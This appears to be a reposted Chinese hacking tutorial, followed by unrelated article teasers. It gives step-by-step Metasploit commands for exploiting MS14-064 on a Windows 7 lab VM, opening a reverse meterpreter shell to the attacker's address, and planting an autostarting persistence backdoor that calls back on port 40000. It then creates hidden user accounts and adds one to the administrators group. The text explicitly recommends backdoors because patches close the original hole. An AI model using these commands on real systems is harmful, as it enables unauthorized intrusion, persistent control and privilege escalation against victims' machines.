网络安全实战之植入后门程序

news2024/11/18 23:24:25

在VMware上建立两个虚拟机:win7和kali。

Kali:它是Linux发行版的操作系统,它拥有超过300个渗透测试工具,就不用自己再去找安装包,去安装到我们自己的电脑上了,毕竟自己从网上找到,也不安全。它甚至还集成了600多种黑客工具,很强大。

可以永久免费使用,基本上学黑客攻击必会用到这个系统。

靶机:Win7 64位 (IP: 192.168.10.45)--用ipconfig进行查询。
图片.png

攻击机:Kali (IP:192.168.10.21)--用ifconfig进行查询。
图片.png

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

1、实验环境前提条件

win7中,关闭防火墙(“打开网络和共享中心”-“Windows防火墙”-“打开或关闭Windows防火墙”-均选择关闭选项)。

保证两个虚拟机是可以ping通的(尤其是在kali中去ping win7,看能否连通)。

$ping 192.168.10.45

图片.png

2、打开Metasploit渗透工具

Metasploit是一款开源的安全漏洞检测工具,msfconsole用于启动msf终端:

>msfconsole

**结果:**成功进入,进入到"msf6>“的模式下
图片.png

3、查看需要利用的漏洞

搜索漏洞,编号为MS14-064。

MS14-064为Windows OLE自动化阵列远程代码执行漏洞。当IE不作访问内存中的对象时,存在远程代码执行漏洞。OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,用户使用IE浏览器查看该网站时允许远程执行代码。

补充:Windows系统漏洞微软的漏洞编号命名格式为:MS14-064;

MS Micosoft的缩写,固定格式;
14 表示年份,即2014年发布的漏洞;
064 表示顺序,即当年度发布的第64个漏洞。

>search ms14-064

**结果:**可以看到返回了多条可利用的漏洞模块信息
图片.png

4、尝试利用其中一个漏洞模块进行攻击

利用其中一个漏洞攻击模块-0模块,进行攻击,进入模块中(注意:必须是“_”,不是“-”,否则会报错)。

>use exploit/windows/browser/ms14_064_ole_code_execution

**结果:**成功切换到这个模块之下--”msf6 exploit(windows/browser/ms14_064_ole_code_execution)>“

并提示“no payload configured,defaulting to windows/meterpreter/reverse_tcp”--没有配置payload,默认为 windows/meterpreter/reverse_tcp

图片.png

5、查看该漏洞模块所需的参数情况

进到这个漏洞模块之后,先查看该测试模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数。

>show options

**结果:**其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

重点关注6个参数配置,需要设置哪个就设置哪个:

Payload (攻击载体-使用默认的windows/meterpreter/reverse_tcp即可) ;

SRVHOST (文件共享服务器-kali地址);

SRVPORT (文件共享服务器的端口-使用默认获取的端口即可);

LHOST (发起攻击的地址-kali地址);

LPORT (发起攻击的端口-使用默认获取的端口即可);

AllowPowershellPrompt (开启浏览器插件,默认为false)

图片.png
图片.png

补充说明:

1)Payload中包含有需要在远程系统中运行的恶意代码,Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。也就是说,漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

2)Payload模块主要有以下三种类型:-Single    -Stager    -Stage

Single是一种完全独立的Payload,实现的目的也简单,但容易被捕捉到。

Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。    一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接(3次握手-4次挥手)(是一个基于TCP的反向链接反弹shell, 使用起来很稳定)。

Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

3)windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。

注意:Payload为windows/meterpreter/reverse_tcp 默认获取到的控制通道meterpreter为32位,

如果想将之后获取到的控制通道meterpreter改为64位,则设置。payload:windows/x64/meterpreter/reverse_tcp

6、设置文件共享服务器

发现SRVHOST为空,待设置,其它(payload/SRVPORT/LHOST/LPORT)均已获取,且正确,设置SRVHOST的对应的参数地址,它指的是文件共享服务器的地址,想一想,要设成谁?为什么?

分析一下:是在哪里用到这个文件共享服务器?是不是会在生成一个网址,诱导用户点击了,就会直接连接到发起攻击的主机上。那你们觉得应该是谁生成这个连接呢?是用户那边么?还是攻击者这边?肯定是攻击者这边吧,我们是不知道会有谁点了这个网站链接吧。

所以,我们才会对这个文件共享服务器的地址设置为kali的地址

>set SRVHOST 192.168.10.21

图片.png

7、开启浏览器插件

要把AllowPowershellPrompt的默认参数false改为true,因为msf中自带的漏洞是利用exp调用的是powershell(powershell是一种命令外壳程序和脚本环境),所以msf的exp代码只对安装了powershell的系统生效。

>set AllowPowershellPrompt true

图片.png

8、再次进行检查

查看对SRVHOST和AllowPowershellPrompt进行的修改,是否修改成功

>show options

图片.png

9、检查无误后,发起攻击

>run

**结果:**生成一个网站的链接“Using URL : http://192.168.10.21:8080/xE6RxjSy,开启服务,光标停留在这,等待有人点击该网站链接。

图片.png

10、打开网站链接

到win7中,在IE浏览器中打开网站链接: http://192.168.10.21:8080/xE6RxjSy,会提示是否允许打开一个文件,选择“允许”之后,即可触发会话连接。
图片.png

**结果1:**在win7中打开链接后,不会有任何的反馈结果。

图片.png

**结果2:**由于在win7中触发打开了网址链接,那么,在kali中,则会触发会话连接,结果显示了是192.168.10.45(目标主机win7)尝试点击了该网站链接,于是,kali利用MS14-064漏洞模块对目标主机发起了攻击,最终,“meterpreter session 1 opened”--表明已经开通192.168.10.21:4444和192.168.10.45:49191会话连接1。

一般会自动进入控制通道meterpreter,交互模式,表明攻击成功。

图片.png

图片.png

注意:

一旦开通一个会话连接后,若系统没有自动进入控制通道,则可以尝试回车,进行手动连接。

1)手动查看当前存在的会话

注意在目录msf>下,手动查看当前存在的会话。

**结果:**当前只有会话连接1,meterpreter建立的连接类型type是x86–32位的(由模块中的payload设定),以及展示目标主机192.168.10.45的基本信息和连接信息。

>sessions

图片.png

2)选择连接当前已经开通的会话1

>sessions -i 1

**结果:**成功进入控制通道meterpreter,交互模式,表明攻击成功。

图片.png

11、植入后门程序

在kali控制win7后,通过persistence,在目标主机上生成一个后门程序,以便后续不再通过MS14-064漏洞进行二次入侵,而是通过这个后门文件来入侵该主机【注意在控制通道meterpreter>下】。

注意:因为这个MS14-064漏洞很容易被修复,一旦目标主机进行定期修补漏洞,那么通过MS14-064漏洞进行入侵的路径,就会失效,但植入的后门程序是不容易被发现和修复的,所以一旦入侵成功后,建议尝试植入后门程序。

通过persistence(支持多种方式启动)植入固定的后门程序,设置相关参数,设置回连地址和端口号。

>run persistence -S -U -X -i 5 -p 40000 -r 192.168.10.21

重点关注6个参数配置:

-S:系统启动时自动加载本程序(因为该后门程序是不能被目标用户发现,更不需要让目标主机进行点

击启动的,所以需要该程序有自动加载的功能);

-U:用户登陆时自动加载本程序;

-X:开机时自动加载本程序;

-i: 自动加载后,回连的时间间隔,即后门每隔多少秒尝试连接回连地址;

-r: 自动加载后,回连的主机地址,回连到谁啊,自然是入侵的kali的地址;

-p:自动加载后,回连的端口号,即kali地址的端口号,理论上可随意设置,但范围不要超过65535,且

不可设置为常见的特殊的端口号;

**结果1:**在kali中提示,成功生成一个后门程序yqLAOjt.vbs,自动加载后会回连到192.168.10.21:40000,并保存于目标主机win7中的C:\Users\18044\AppData\Local\Temp\目录下。

【**注意:**payload自动设置为“windows/meterpreter/reverse_tcp”,LHOST设置为192.168.10.21,LPORT设置为40000

图片.png

**结果2:**在win7中的C:\Users\18044\AppData\Local\Temp\目录下,成功找到从攻击主机kali植入的后门程序yqLAOjt.vbs
图片.png

【补充知识点:

1)端口号范围:0~65535

图片.png

2)常见端口号列举

图片.png

12、挂起当前会话

在成功植入后门程序后,我们还需要对该后门程序进行验证,验证是否可以通过该后门程序成功入侵目标主机win7,所以可先将当前通过MS14-064漏洞开启的会话连接挂起(background)或断开(exit),均可

meterpreter>background

**结果:**成功将session会话1挂起到后台,并没有断开连接,且成功切换到msf >目录下

图片.png

13、开启监听模块

利用后门程序进行攻击,需要打开一个监听模块,能够反弹shell监听模块,进行攻击,进入模块中

>use exploit/multi/handler

**结果:**成功切换到这个模块之下--”msf6 exploit(multi/handler)>“

并提示“Using configured payload generic/shell_reverse_tcp”--使用的payload为generic/shell_reverse_tcp

图片.png

14、查看该监听模块所需的参数情况

进到这个监听模块之后,先查看该模块的参数情况。类似于你使用一软件,进行攻击,是不是需要先进行一些简单的参数配置啊,需要告诉软件,要向谁发起攻击吧,这是最最基本的,所以,要配置,就要先查看都可以配置哪些参数?

>show options

**结果:**其中required显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

重点关注3个参数配置,需要设置哪个就设置哪个:

Payload:攻击载体;

LHOST:回连地址;

LPORT:回连端口号;

图片.png

15、设置攻击载体、回连地址以及端口号

因为我们要开启的这个监听模块,是专门针对于yqLAOjt.vbs后门程序,进行实时监听,那么,必然需要将监听模块的参数配置,与yqLAOjt.vbs后门程序的参数配置保持一致,只有这样,才能达到准确的监听

之前制作yqLAOjt.vbs的参数为:

"run persistence -S -U -X -i 5 -p 40000 -r 192.168.10.21"

因此,我们也就需要将监听模块的攻击载体Payload,与后门程序的payload保持一致:

>set payload windows/meterpreter/reverse_tcp

需要将监听模块的回连地址LHOST,与后门程序的LHOST保持一致:

>set LHOST 192.168.10.21

需要将监听模块的回连地址的端口号LPORT,与后门程序的LPORT保持一致:

>set LPORT 40000

图片.png

16、再次进行检查

>show options

图片.png

17、检查无误后,发起攻击

>run

**结果:**开启针对192.168.10.21:40000的监听模式,因为yqLAOjt.vbs后门程序已经设置了自动加载,所以一旦开启监听模块,立即会有反馈信息回连到192.168.10.21:40000上来。

最终,“meterpreter session 2 opened”--表明已经开通192.168.10.21:40000和192.168.10.45:49227的会话连接2。

一般会自动进入控制通道meterpreter,交互模式,表明攻击成功。

图片.png

注意:

此时,将当前开启的会话进行挂起操作–background,再查看当前已存在的会话–sessions,结果会得到已开启两个会话连接信息,要对这两个会话连接进行区分,分清楚,第一个会话连接是通过MS14-064漏洞开启的,第二个会话连接是通过后门程序开启的

图片.png

18、创建用户、设置密码

1)拿到shell权限,获得控制台权限,可以获取系统的控制台C:\Windows\system32

meterpreter>shell

图片.png

2)进入后,可能会有乱码的情况,解决乱码问题

C:\Windows\system32>chcp 65001

图片.png
图片.png

图片.png

3)显示win7系统中所有的用户

C:\Windows\system32>net user

图片.png

4)创建用户

创建用户,用户名为test,密码为test【net user 用户名  密码  /add】

C:\Windows\system32>net user test test /add

也可以不设置密码,只创建用户名为test1的无密码用户【net user 用户名  /add】

C:\Windows\system32>net user test1 /add

**结果1:**在kali中,若结果显示“the commad completed successfully”—代表“命令执行成功” ,用户创建成功 ;

若结果显示“system error 5 has occurred;access is denied”—“发生系统错误5; 拒绝访问”-----代表权限不够的问题,需要**进行提权,可以利用bypassuac或者Windows内核漏洞进行提权
图片.png

图片.png

图片.png

**结果2:**在win7中,”控制面板“—”添加或删除用户账户“,查看成功新建的用户test(标准用户–密码保护)、test1(标准用户–无密码)

图片.png

5)将新用户添加到administrator分组–提升到管理员权限【net localgroup administrators 用户名 /add】

C:\Windows\system32>net localgroup adminis trators test1 /add

**结果1:**在kali中,显示“the commad completed successfully”—代表“命令执行成功” ,成功添加到administrator分组,提升管理员权限成功 ;

图片.png

**结果2:**在win7中,”控制面板“—”添加或删除用户账户“,查看新建的用户test1用户由之前的”标准用户“提升至”管理员“,提升权限成功。

图片.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/107064.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

搞懂 Dubbo 入门理论,这一篇就够

RPC简介 ● RPC, Remote Procedure Call ,远程过程调用,是一种跨系统间服务调用的协议或框架 ● 在很多企业,在内部存在大量的业务子系统,这些子系统都承担独立的业务功能,并相互协作,实现企业…

[思维模式-10]:《如何系统思考》-6- 认识篇 - 结构决定功能,如何进行深度思考

目录 第1章 深度思考概述 1.1 深度思考的本质 1.2 深度思考的冰山模型 1.3 行为模式:结构与现象之间的桥梁 第2章 复杂多变的现象背后的六种基本的行为模式 第3章 透过模式/趋势看清内在的结构 第1章 深度思考概述 1.1 深度思考的本质 结构决定功能&#x…

超标量处理器设计——第三章_虚拟存储器

超标量处理器设计——第三章_虚拟存储器 参考《超标量处理器》姚永斌著 文章目录超标量处理器设计——第三章_虚拟存储器3.2 地址转换3.2.1 单级页表3.2.2 多级页表3.2.3 Page Fault3.3 程序保护3.4 加入TLB和Cache3.4.1 TLB的设计TLB缺失TLB的写入对TLB进行控制3.4.2 Cache的设…

时变电磁场 工程电磁场 P24

两个重要定律 首先是两个非常重要的定理 法拉第电磁感应定律完整形式: 应用斯托克斯定律,我们可以得到 在静止媒质钟我们有 全电流定律 对于非恒定的电流,我们可以写成 相应的微分形式 电磁感应定律与全电流定律构成了电磁场理论的基石 这两…

python自学难吗?零基础学python难吗?

作为一名小白,学习任务新东西的时候都会关系,要学的东西难吗?学习Python时自然也会关心Python难吗?能学会吗? 从编程语言的角度来看,Python相比于其他语言真的是不难,Python本身极简的语法&…

正点原子-Linux嵌入式开发学习-第二期03

第九讲:模仿STM32驱动开发实验 前言:在02中我们学习的如何使用C语言的知识去编写代码,并且是直接定义寄存器地址的。你自己回想一下,stm32的库文件是这样的吗?当然不是,它是继续封装了地址,把寄…

ACL介绍

ACL 中文:访问控制列表 介绍: ACL 是网络当中策略的一种,策略:我们之前学的内容只够我们把网络连通,但网络不仅仅是能连通那么简单,在保证网络能连通的基础上,应该还有更高一层的追求&#xf…

地统计插值学习心得(二)

简介 交叉验证是一种“留一”法,可用于确定插值模型与数据的拟合程度。交叉验证从数据集中移除一个点,并使用剩余的所有其他点来预测被移除点的位置。预测值随后与测量值进行比较,并生成大量统计数据 来确定预测的准确性。 交叉验证窗格可以用于展示并评价插值模型的执行效…

Redis持久化之RDB

Redis持久化之RDB1.RDB(Redis DataBase)1.1 RDB是什么1.2 dump.rdb文件1.3Redis启动方式1.4 配置文件中默认快照配置1.5 命令save VS bgsave1.6 RDB举例1.7 stop-writes-on-bgsave-error1.8 rdbchecksum 检查完整性2.持久化如何执行的2.1 流程优势劣势1.…

【小学信息技术教资面试】《生活在信息中》教案

题目:生活在信息中内容: 基本要求: (1)说出信息的不同表现形式及信息在生活中的应用。 (2)教学中注意师生间的交流互动。 (3)十分钟之内完成试讲。 《生活在信息中》教…

【学习笔记04】生命周期的钩子函数

目录一、生命周期的钩子函数二、创建阶段三、挂载阶段四、父子组件创建和挂载阶段钩子函数的执行次序五、更新阶段六、销毁阶段七、复习和补充1、MVVM2、v-for中的key值3、$nextTick一、生命周期的钩子函数 在组件的生命周期的过程中自动的调用的函数,叫做生命周期…

C++进阶 多态讲解

作者:小萌新 专栏:C进阶 作者简介:大二学生 希望能和大家一起进步! 本篇博客简介:简单介绍C中多态的概念 多态多态的概念多态的定义及实现多态的构成条件虚函数虚函数的重写虚函数重写的两个例外协变析构函数的重写C11…

【ML】numpy meshgrid函数使用说明(全网最简单版)

【ML】numpy meshgrid函数使用说明meshgrid的作用?怎么使用(举例说明)手工描点(帮助理解)怎么画三维?附画图代码meshgrid的作用? 首先要明白numpy.meshgrid()函数是为了画网格,&…

Systemverilog实现参数化的Round-Robin Arbiter Tree

本篇内容涉及的rtl代码为开源组织PLUP的common cell仓库中的源代码,本文只是对其进行些许解读。源码链接如下:[https://github.com/pulp-platform/common_cells/blob/dc555643226419b7a602f0aa39d449545ea4c1f2/src/rr_arb_tree.sv] “想要快速提升编程能…

基于springboot的公司人事管理系统

1 简介 今天向大家介绍一个帮助往届学生完成的毕业设计项目,公司人事管理系统。 计算机毕业生设计,课程设计需要帮助的可以找我 源码获取------》 链接:https://pan.baidu.com/s/1CdxrlV7GeRRmsT9UWEMtJg 提取码:cygy 2 设计概要 21世纪…

测试人不得不知的 HTTP 状态码知识

HTTP协议是当前使用最广泛的一种通信协议,在性能测试中,也使用的非常广泛。但是,确有很多人在调试性能测试脚本的时候,弄不明白HTTP状态码,不能通过HTTP状态码做些基本判断,今天,就来给大家好好…

客户终身价值(CLTV)计算和回归预测模型(Python)

内容介绍 本文整理了客户终身价值(CLV或者CLTV)的相关概念,并对一家英国线上零售公司的一年交易数据进行分析,计算该公司所有客户的CLV并且建立回归预测模型。 一、客户生命周期价值 用户生命周期价值Customer Lifetime value(…

常见实用的锁策略详解

🎈专栏链接:多线程相关知识详解 目录 1.乐观锁VS悲观锁 2.读写锁VS普通互斥锁 3.轻量级锁VS重量级锁 4.自旋锁VS挂起等待锁 5. 公平锁VS非公平锁 6.可重入锁VS不可重入锁 7.关于synchronized的锁策略以及自适应 1.乐观锁VS悲观锁 乐观锁:预测锁…

Windows中安装配置RabbitMQ

本次安装环境win10,采用版本 OTP 25.0.3https://github.com/erlang/otp/releases/tag/OTP-25.0.3RabbitMQ 3.10.13 Release RabbitMQ 3.10.13 rabbitmq/rabbitmq-server GitHubOpen source RabbitMQ: core server and tier 1 (built-in) plugins - Release Rabbi…

[N1CTF 2018]eating_cms parse_url绕过

index.php <?php require_once "function.php"; if(isset($_SESSION[login] )){Header("Location: user.php?pageinfo"); } else{include "templates/index.html"; } ?> function.php <?php session_start(); require_once &q…